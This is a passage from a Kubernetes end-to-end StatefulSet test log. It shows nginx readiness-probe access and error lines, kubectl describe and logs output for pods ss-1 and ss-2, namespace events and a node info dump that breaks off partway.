34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:24 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:25 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:26 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:27 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:28 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:29 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:30 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:31 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:31  error  6 6:  13 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:32 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:32  error  6 6:  14 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;2018/04/13 15:05:33  error  6 6:  15 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:33 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:34  error  6 6:  16 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:34 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:35  error  6 6:  17 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:35 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:36  error  6 6:  18 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:36 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:37  error  6 6:  19 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:37 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:38  error  6 6:  20 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:38 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:39  error  6 6:  21 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:39 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:40  error  6 6:  22 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:40 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:41  error  6 6:  23 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:41 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:42  error  6 6:  24 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:42 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:43  error  6 6:  25 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:43 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:44  error  6 6:  26 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:44 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:45  error  6 6:  27 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:45 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:46 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:46  error  6 6:  28 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;2018/04/13 15:05:47  error  6 6:  29 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:47 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:48  error  6 6:  30 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:48 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:49  error  6 6:  31 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:49 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:50  error  6 6:  32 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:50 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;2018/04/13 15:05:51  error  6 6:  33 open   & 34;/usr/share/nginx/html/index.html& 34; failed  2: no such file or directory , client: 10.1.77.1, server: localhost, request: & 34;get /index.html http/1.1& 34;, host: & 34;10.1.77.157:80& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:51 +0000  & 34;get /index.html http/1.1& 34; 404 169 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:52 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:53 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:54 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:55 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:56 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:57 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:58 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:05:59 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:06:00 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:06:01 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.77.1 - -  13/apr/2018:15:06:02 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;& xa;apr 13 11:06:02.288: info: running & 39;/snap/bin/kubectl --server=https://11.10.1.104 --kubeconfig=/home/ubuntu/.kube/config describe po ss-1 --namespace=e2e-tests-statefulset-tvmzl& 39;& xa;apr 13 11:06:02.626: info: stderr: & 34;& 34;& xa;apr 13 11:06:02.626: info: & xa;output of kubectl describe ss-1:& xa;name:           ss-1& xa;namespace:      e2e-tests-statefulset-tvmzl& xa;node:           worker-n7-2-teqqbg/11.10.1.8& xa;start time:     fri, 13 apr 2018 11:05:52 -0400& xa;labels:         baz=blah& xa;                controller-revision-hash=ss-76cb68b6ff& xa;                foo=bar& xa;                statefulset.kubernetes.io/pod-name=ss-1& xa;annotations:    &lt;none&gt;& xa;status:         running& xa;ip:             10.1.5.158& xa;controlled by:  statefulset/ss& xa;containers:& xa;  nginx:& xa;    container id:   docker://0472ab3f190a7817fea7dc0c8416fe7e5a30a18603fe753e99e66cc68105432a& xa;    image:          k8s.gcr.io/nginx-slim-amd64:0.20& xa;    image id:       docker-pullable://k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b& xa;    port:           &lt;none&gt;& xa;    host port:      &lt;none&gt;& xa;    state:          running& xa;      started:      fri, 13 apr 2018 11:05:54 -0400& xa;    ready:          true& xa;    restart count:  0& xa;    readiness:      http-get http://:80/index.html delay=0s timeout=1s period=1s  success=1  failure=1& xa;    environment:    &lt;none&gt;& xa;    mounts:& xa;      /var/run/secrets/kubernetes.io/serviceaccount from default-token-wmlks  ro & xa;conditions:& xa;  type           status& xa;  initialized    true & xa;  ready          true & xa;  podscheduled   true & xa;volumes:& xa;  default-token-wmlks:& xa;    type:        secret  a volume populated by a secret & xa;    secretname:  default-token-wmlks& xa;    optional:    false& xa;qos class:       besteffort& xa;node-selectors:  &lt;none&gt;& xa;tolerations:     node.kubernetes.io/not-ready:noexecute for 300s& xa;                 node.kubernetes.io/unreachable:noexecute for 300s& xa;events:& xa;  type    reason                 age   from                         message& xa;  ----    ------                 ----  ----                         -------& xa;  normal  scheduled              10s   default-scheduler            successfully assigned ss-1 to worker-n7-2-teqqbg& xa;  normal  successfulmountvolume  10s   kubelet, worker-n7-2-teqqbg  mountvolume.setup succeeded for volume & 34;default-token-wmlks& 34;& xa;  normal  pulled                 8s    kubelet, worker-n7-2-teqqbg  container image & 34;k8s.gcr.io/nginx-slim-amd64:0.20& 34; already present on machine& xa;  normal  created                8s    kubelet, worker-n7-2-teqqbg  created container& xa;  normal  started                8s    kubelet, worker-n7-2-teqqbg  started container& xa;& xa;apr 13 11:06:02.626: info: running & 39;/snap/bin/kubectl --server=https://11.10.1.104 --kubeconfig=/home/ubuntu/.kube/config logs ss-1 --namespace=e2e-tests-statefulset-tvmzl --tail=100& 39;& xa;apr 13 11:06:02.963: info: stderr: & 34;& 34;& xa;apr 13 11:06:02.963: info: & xa;last 100 log lines of ss-1:& xa;10.1.5.1 - -  13/apr/2018:15:05:54 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.5.1 - -  13/apr/2018:15:05:55 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.5.1 - -  13/apr/2018:15:05:56 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.5.1 - -  13/apr/2018:15:05:57 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.5.1 - -  13/apr/2018:15:05:58 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.5.1 - -  13/apr/2018:15:05:59 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.5.1 - -  13/apr/2018:15:06:00 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.5.1 - -  13/apr/2018:15:06:01 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;& xa;apr 13 11:06:02.964: info: running & 39;/snap/bin/kubectl --server=https://11.10.1.104 --kubeconfig=/home/ubuntu/.kube/config describe po ss-2 --namespace=e2e-tests-statefulset-tvmzl& 39;& xa;apr 13 11:06:03.310: info: stderr: & 34;& 34;& xa;apr 13 11:06:03.310: info: & xa;output of kubectl describe ss-2:& xa;name:           ss-2& xa;namespace:      e2e-tests-statefulset-tvmzl& xa;node:           worker-n8-1-sepdqn/11.10.1.11& xa;start time:     fri, 13 apr 2018 11:05:55 -0400& xa;labels:         baz=blah& xa;                controller-revision-hash=ss-76cb68b6ff& xa;                foo=bar& xa;                statefulset.kubernetes.io/pod-name=ss-2& xa;annotations:    &lt;none&gt;& xa;status:         running& xa;ip:             10.1.99.175& xa;controlled by:  statefulset/ss& xa;containers:& xa;  nginx:& xa;    container id:   docker://dc350819da74e023d42960609c43812760dede9d6a18fa08eac1a573b378a37c& xa;    image:          k8s.gcr.io/nginx-slim-amd64:0.20& xa;    image id:       docker-pullable://k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b& xa;    port:           &lt;none&gt;& xa;    host port:      &lt;none&gt;& xa;    state:          running& xa;      started:      fri, 13 apr 2018 11:05:56 -0400& xa;    ready:          true& xa;    restart count:  0& xa;    readiness:      http-get http://:80/index.html delay=0s timeout=1s period=1s  success=1  failure=1& xa;    environment:    &lt;none&gt;& xa;    mounts:& xa;      /var/run/secrets/kubernetes.io/serviceaccount from default-token-wmlks  ro & xa;conditions:& xa;  type           status& xa;  initialized    true & xa;  ready          true & xa;  podscheduled   true & xa;volumes:& xa;  default-token-wmlks:& xa;    type:        secret  a volume populated by a secret & xa;    secretname:  default-token-wmlks& xa;    optional:    false& xa;qos class:       besteffort& xa;node-selectors:  &lt;none&gt;& xa;tolerations:     node.kubernetes.io/not-ready:noexecute for 300s& xa;                 node.kubernetes.io/unreachable:noexecute for 300s& xa;events:& xa;  type    reason                 age   from                         message& xa;  ----    ------                 ----  ----                         -------& xa;  normal  scheduled              8s    default-scheduler            successfully assigned ss-2 to worker-n8-1-sepdqn& xa;  normal  successfulmountvolume  8s    kubelet, worker-n8-1-sepdqn  mountvolume.setup succeeded for volume & 34;default-token-wmlks& 34;& xa;  normal  pulled                 7s    kubelet, worker-n8-1-sepdqn  container image & 34;k8s.gcr.io/nginx-slim-amd64:0.20& 34; already present on machine& xa;  normal  created                7s    kubelet, worker-n8-1-sepdqn  created container& xa;  normal  started                7s    kubelet, worker-n8-1-sepdqn  started container& xa;& xa;apr 13 11:06:03.311: info: running & 39;/snap/bin/kubectl --server=https://11.10.1.104 --kubeconfig=/home/ubuntu/.kube/config logs ss-2 --namespace=e2e-tests-statefulset-tvmzl --tail=100& 39;& xa;apr 13 11:06:03.634: info: stderr: & 34;& 34;& xa;apr 13 11:06:03.634: info: & xa;last 100 log lines of ss-2:& xa;10.1.99.1 - -  13/apr/2018:15:05:58 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.99.1 - -  13/apr/2018:15:05:59 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.99.1 - -  13/apr/2018:15:06:00 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.99.1 - -  13/apr/2018:15:06:01 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.99.1 - -  13/apr/2018:15:06:02 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;10.1.99.1 - -  13/apr/2018:15:06:03 +0000  & 34;get /index.html http/1.1& 34; 200 612 & 34;-& 34; & 34;kube-probe/1.10& 34;& xa;& xa;apr 13 11:06:03.634: info: deleting all statefulset in ns e2e-tests-statefulset-tvmzl& xa;apr 13 11:06:03.642: info: scaling statefulset ss to 0& xa;apr 13 11:06:23.678: info: waiting for statefulset status.replicas updated to 0& xa;apr 13 11:06:23.684: info: deleting statefulset ss& xa; aftereach   sig-apps  statefulset& xa;  /home/ubuntu/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142& xa;� 1mstep� 0m: collecting events from namespace & 34;e2e-tests-statefulset-tvmzl& 34;.& xa;� 1mstep� 0m: found 24 events.& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:15 -0400 edt - event for ss: {statefulset-controller } successfulcreate: create pod ss-0 in statefulset ss successful& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:15 -0400 edt - event for ss-0: {kubelet worker-n7-1-xpqd33} successfulmountvolume: mountvolume.setup succeeded for volume & 34;default-token-wmlks& 34; & xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:15 -0400 edt - event for ss-0: {default-scheduler } scheduled: successfully assigned ss-0 to worker-n7-1-xpqd33& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:18 -0400 edt - event for ss-0: {kubelet worker-n7-1-xpqd33} pulled: container image & 34;k8s.gcr.io/nginx-slim-amd64:0.20& 34; already present on machine& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:18 -0400 edt - event for ss-0: {kubelet worker-n7-1-xpqd33} created: created container& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:18 -0400 edt - event for ss-0: {kubelet worker-n7-1-xpqd33} started: started container& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:31 -0400 edt - event for ss-0: {kubelet worker-n7-1-xpqd33} unhealthy: readiness probe failed: http probe failed with statuscode: 404& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:52 -0400 edt - event for ss: {statefulset-controller } successfulcreate: create pod ss-1 in statefulset ss successful& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:52 -0400 edt - event for ss-1: {kubelet worker-n7-2-teqqbg} successfulmountvolume: mountvolume.setup succeeded for volume & 34;default-token-wmlks& 34; & xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:52 -0400 edt - event for ss-1: {default-scheduler } scheduled: successfully assigned ss-1 to worker-n7-2-teqqbg& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:54 -0400 edt - event for ss-1: {kubelet worker-n7-2-teqqbg} created: created container& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:54 -0400 edt - event for ss-1: {kubelet worker-n7-2-teqqbg} started: started container& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:54 -0400 edt - event for ss-1: {kubelet worker-n7-2-teqqbg} pulled: container image & 34;k8s.gcr.io/nginx-slim-amd64:0.20& 34; already present on machine& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:55 -0400 edt - event for ss: {statefulset-controller } successfulcreate: create pod ss-2 in statefulset ss successful& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:55 -0400 edt - event for ss-2: {kubelet worker-n8-1-sepdqn} successfulmountvolume: mountvolume.setup succeeded for volume & 34;default-token-wmlks& 34; & xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:55 -0400 edt - event for ss-2: {default-scheduler } scheduled: successfully assigned ss-2 to worker-n8-1-sepdqn& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:56 -0400 edt - event for ss-2: {kubelet worker-n8-1-sepdqn} started: started container& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:56 -0400 edt - event for ss-2: {kubelet worker-n8-1-sepdqn} created: created container& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:05:56 -0400 edt - event for ss-2: {kubelet worker-n8-1-sepdqn} pulled: container image & 34;k8s.gcr.io/nginx-slim-amd64:0.20& 34; already present on machine& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:06:03 -0400 edt - event for ss: {statefulset-controller } successfuldelete: delete pod ss-2 in statefulset ss successful& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:06:03 -0400 edt - event for ss-2: {kubelet worker-n8-1-sepdqn} killing: killing container with id docker://nginx:need to kill pod& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:06:05 -0400 edt - event for ss: {statefulset-controller } successfuldelete: delete pod ss-1 in statefulset ss successful& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:06:05 -0400 edt - event for ss-1: {kubelet worker-n7-2-teqqbg} killing: killing container with id docker://nginx:need to kill pod& xa;apr 13 11:06:23.743: info: at 2018-04-13 11:06:14 -0400 edt - event for ss: {statefulset-controller } successfuldelete: delete pod ss-0 in statefulset ss successful& xa;apr 13 11:06:23.766: info: pod                                             node                phase    grace  conditions& xa;apr 13 11:06:23.766: info: default-http-backend-mv4tr                      worker-n7-1-xpqd33  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:06 -0400 edt  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:13 -0400 edt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:06 -0400 edt  } & xa;apr 13 11:06:23.766: info: heapster-v1.5.0-6f465f54d4-fwt6c                worker-n8-1-sepdqn  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2018-04-13 08:07:24 -0400 edt  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-04-13 08:07:36 -0400 edt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-04-13 08:07:24 -0400 edt  } & xa;apr 13 11:06:23.766: info: kube-dns-5c6c5b55b-wh2zm                        worker-n7-1-xpqd33  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:08 -0400 edt  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-04-13 08:09:52 -0400 edt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:08 -0400 edt  } & xa;apr 13 11:06:23.766: info: kubernetes-dashboard-7d5dcdb6d9-b28g5           worker-n7-1-xpqd33  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:08 -0400 edt  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:26 -0400 edt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:08 -0400 edt  } & xa;apr 13 11:06:23.766: info: metrics-server-v0.2.1-7486f5bd67-pw9mj          worker-n7-2-teqqbg  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:14:06 -0400 edt  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:14:13 -0400 edt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:14:06 -0400 edt  } & xa;apr 13 11:06:23.766: info: monitoring-influxdb-grafana-v4-6d67c7f4f-5x8xq  worker-n7-1-xpqd33  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:08 -0400 edt  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:14:02 -0400 edt  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-04-13 06:13:08 -0400 edt  } & xa;apr 13 11:06:23.766: info: & xa;apr 13 11:06:23.775: info: & xa;logging node info for node worker-n5-484hbf& xa;apr 13 11:06:23.782: info: node info: &amp;node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:worker-n5-484hbf,generatename:,namespace:,selflink:/api/v1/nodes/worker-n5-484hbf,uid:c97a7489-3f12-11e8-9d7e-00a0a5b28a51,resourceversion:59202,generation:0,creationtimestamp:2018-04-13 08:04:15 -0400 edt,deletiontimestamp:&lt;nil&gt;,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: worker-n5-484hbf,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:worker-n5-484hbf,providerid:,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{32 0} {&lt;nil&gt;} 32 decimalsi},ephemeral-storage: {{118014062592 0} {&lt;nil&gt;} 115248108ki binarysi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{33620189184 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},allocatable:resourcelist{cpu: {{32 0} {&lt;nil&gt;} 32 decimalsi},ephemeral-storage: {{106212656157 0} {&lt;nil&gt;} 106212656157 decimalsi},hugepages-1gi: {{0 0} {&lt;nil&gt;} 0 decimalsi},hugepages-2mi: {{0 0} {&lt;nil&gt;} 0 decimalsi},memory: {{33515331584 0} {&lt;nil&gt;}  binarysi},pods: {{110 0} {&lt;nil&gt;} 110 decimalsi},},phase:,conditions: {outofdisk false 2018-04-13 11:06:18 -0400 edt 2018-04-13 08:04:15 -0400 edt kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2018-04-13 11:06:18 -0400 edt 2018-04-13 08:04:15 -0400 edt kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2018-04-13 11:06:18 -0400 edt 2018-04-13 08:04:15 -0400 edt kubelethasnodiskpressure kubelet has no disk pressure} {pidpressure false 2018-04-13 11:06:18 -0400 edt 2018-04-13 08:04:15 -0400 edt kubelethassufficientpid kubelet has sufficient pid available} {ready true 2018-04-13 11:06:18 -0400 edt 2018-04-13 08:20:08 -0400 edt kubeletready kubelet is posting ready status. apparmor enabled} ,addresses: {internalip 11.10.1.9} {hostname worker-n5-484hbf} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:23a61543e58f490baa2e31af6e53e1d0,systemuuid:23a61543e58f490baa2e31af6e53e1d0,bootid:00f01ada-4dc9-42db-85c6-34d992964748,kernelversion:4.4.0-119-generic,osimage:ubuntu 16.04.4 